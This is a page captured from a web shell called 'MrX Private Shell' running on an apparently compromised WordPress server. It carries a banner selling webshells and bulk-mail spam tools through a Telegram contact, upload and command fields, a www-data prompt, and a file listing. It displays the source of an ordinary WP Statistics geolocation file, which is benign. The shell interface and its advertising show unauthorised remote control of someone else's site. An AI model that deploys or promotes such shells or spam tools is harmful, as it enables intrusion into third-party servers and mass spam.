__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Service\Geolocation;

use WP_Error;
use WP_STATISTICS\Option;
use WP_Statistics\Service\Geolocation\Provider\CloudflareGeolocationProvider;
use WP_Statistics\Service\Geolocation\Provider\DbIpProvider;
use WP_Statistics\Service\Geolocation\Provider\MaxmindGeoIPProvider;

class GeolocationFactory
{
    /**
     * Holds a provider set to override the default provider.
     *
     * @var GeoServiceProviderInterface|null
     */
    private static $forcedProvider = null;

    /**
     * Get geolocation data for a given IP address using the configured provider.
     *
     * @param string $ipAddress
     * @return array
     */
    public static function getLocation(string $ipAddress, $provider = null)
    {
        self::$forcedProvider = $provider;

        $provider           = self::getProviderInstance();
        $geolocationService = new GeolocationService($provider);

        return $geolocationService->getGeolocation($ipAddress);
    }

    /**
     * Download the geolocation database using the configured provider.
     *
     * @return bool|WP_Error
     */
    public static function downloadDatabase($provider = null)
    {
        self::$forcedProvider = $provider;
        
        $provider           = self::getProviderInstance();
        $geolocationService = new GeolocationService($provider);

        return $geolocationService->downloadDatabase();
    }

    /**
     * Get an instance of the configured geolocation provider.
     *
     * @return MaxmindGeoIPProvider
     */
    public static function getProviderInstance()
    {
        $locationDetection = Option::get('geoip_location_detection_method', 'maxmind');

        if (
            'cf' === $locationDetection &&
            method_exists(CloudflareGeolocationProvider::class, 'isAvailable') &&
            CloudflareGeolocationProvider::isAvailable()
        ) {
            $geoIpProvider = CloudflareGeolocationProvider::class;
        } else {
            $geoIpProvider = 'dbip' === $locationDetection ? DbIpProvider::class : MaxmindGeoIPProvider::class;
        }

        if (! is_null(self::$forcedProvider)) {
            $geoIpProvider = self::$forcedProvider;
        }

        /**
         * Filter the geolocation provider name. This allows developers to change the provider used for geolocation.
         */
        $providerName = apply_filters('wp_statistics_geolocation_provider', $geoIpProvider);

        // If the provider class exists, instantiate it
        if (class_exists($providerName)) {
            return new $providerName();
        }

        return new MaxmindGeoIPProvider();
    }
}

Filemanager

Name Type Size Permission Actions
Provider Folder 0755
AbstractGeoIPProvider.php File 5.84 KB 0644
GeoServiceProviderInterface.php File 918 B 0644
GeolocationFactory.php File 2.58 KB 0644
GeolocationService.php File 1.92 KB 0644
Filemanager